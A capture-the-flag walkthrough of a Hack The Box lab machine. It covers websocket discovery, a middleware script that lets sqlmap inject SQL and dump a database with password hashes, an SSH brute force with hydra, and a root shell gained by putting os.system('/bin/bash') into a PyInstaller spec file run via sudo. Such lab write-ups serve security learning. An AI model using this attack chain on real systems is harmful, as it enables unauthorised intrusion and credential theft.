This machine starts out with a website that allows the user to convert QR codes to text or vice-verse. The website also contains a link to download the source code.
Debug downloaded app ELF file
Do discovery on the websocket to get endpoints
discovery.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| import websocket
import json
def get_ws_endpoints(ws):
ws.send('{}')
print(ws.recv())
ws_host = 'ws://qreader.htb:5789'
#create the connection
ws = websocket.create_connection(ws_host)
#get the available endpoints
get_ws_endpoints(ws)
#send payloads with different versions to /version
versions = ["0", "1","2", "0.0.1", "0.1", "1.0", "1.1", "2.0"]
for version in versions:
payload = {"version": version}
version_ws = websocket.create_connection(ws_host + '/version')
version_ws.send(json.dumps(payload))
print(version_ws.recv())
version_ws.close()
req_ws = websocket.create_connection(ws_host + '/version?id=1')
print(req_ws.recv())
req_ws.close()
#close the initial connection
ws.close()
|
output
1
2
3
4
5
6
7
8
9
10
| $ python3 ws_discovery.py
{"paths": {"/update": "Check for updates", "/version": "Get version information"}}
{"message": "Invalid version!"}
{"message": "Invalid version!"}
{"message": "Invalid version!"}
{"message": {"id": 1, "version": "0.0.1", "released_date": "12/07/2022", "downloads": 280}}
{"message": "Invalid version!"}
{"message": "Invalid version!"}
{"message": "Invalid version!"}
{"message": "Invalid version!"}
|
middleware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://qreader.htb:5789"
def send_ws(payload):
ws = create_connection(ws_server + '/version')
payload = unquote(payload).replace("'","\\\"")
data = '{"version":"%s"}' % payload
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?version=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
|
output
1
2
3
4
| $ python3 exploit2.py
[+] Starting Middleware Server
[+] Send payloads in http://localhost:8081/?version=*
|
Execute SQLMap on the running middleware server
$ sqlmap -u "http://localhost:8081/?version=*" --batch --dbs --level 5 --risk 3
Get database structure and data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| > sqlmap -u "http://localhost:8081/?version=*" --tables
[11:11:38] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[11:11:38] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[6 tables]
+-----------------+
| answers |
| info |
| reports |
| sqlite_sequence |
| users |
| versions |
+-----------------+
|
1
| sqlmap -u "http://localhost:8081/?version=*" --dbms=SQLite --dump
|
Found data
We can see the md5 hashed admin password in the users table. MD5 is easy to crack with a bunch of tools.
We can see also some interesting text in the answers table:
Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller
Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller
Brute force username for SSH login with hydra
We created a file with different username variations for Thomas Keller based on the data we got from the database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| $ cat usernames.txt
thomas
mike
Thomas
Mike
thomas-keller
thomas_keller
tkeller
thomask
thomas_keller
thomas_keller
Thomas_keller
Thomas_Keller
Thomas-Keller
Json
|
1
2
3
4
| hydra -L usernames.txt -p 'denjanjade122566' 10.10.11.206 ssh
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:14/p:1), ~1 try per task
[DATA] attacking ssh://10.10.11.206:22/
[22][ssh] host: 10.10.11.206 login: tkeller password: _redacted_
|
1
2
3
4
5
| tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ whoami
tkeller
tkeller@socket:~$ cat user.txt
|
Priv esc
1
2
3
4
5
6
7
| tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
|
Our user can sudo run /usr/local/sbin/build-installer.sh
. It looks like this allows to create spec files and to build based on these spec files. The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| tkeller@socket:~$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
|
We can generate our own spec file, which allows us to inject arbirtray Python commands that will then be ran by root.
1
2
3
4
5
6
7
| tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build spec
185 INFO: PyInstaller: 5.6.2
185 INFO: Python: 3.10.6
188 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
189 INFO: wrote /home/tkeller/spec.spec
191 INFO: UPX is not available.
script '/home/tkeller/spec' not found
|
Adding in the code to spawn a shell as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| tkeller@socket:~$ vi spec.spec
# -*- mode: python ; coding: utf-8 -*-
import os
os.system('/bin/bash')
block_cipher = None
a = Analysis(
['spec'],
pathex=[],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False,
)
|
Calling the build process to execute the code in the spec.spec
file, gaining access to the root shell and thus the root flag.
1
2
3
4
5
6
7
8
| tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build spec.spec
122 INFO: PyInstaller: 5.6.2
123 INFO: Python: 3.10.6
126 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
128 INFO: UPX is not available.
root@socket:/home/tkeller# id
uid=0(root) gid=0(root) groups=0(root)
root@socket:/home/tkeller# cat /root/root.txt
|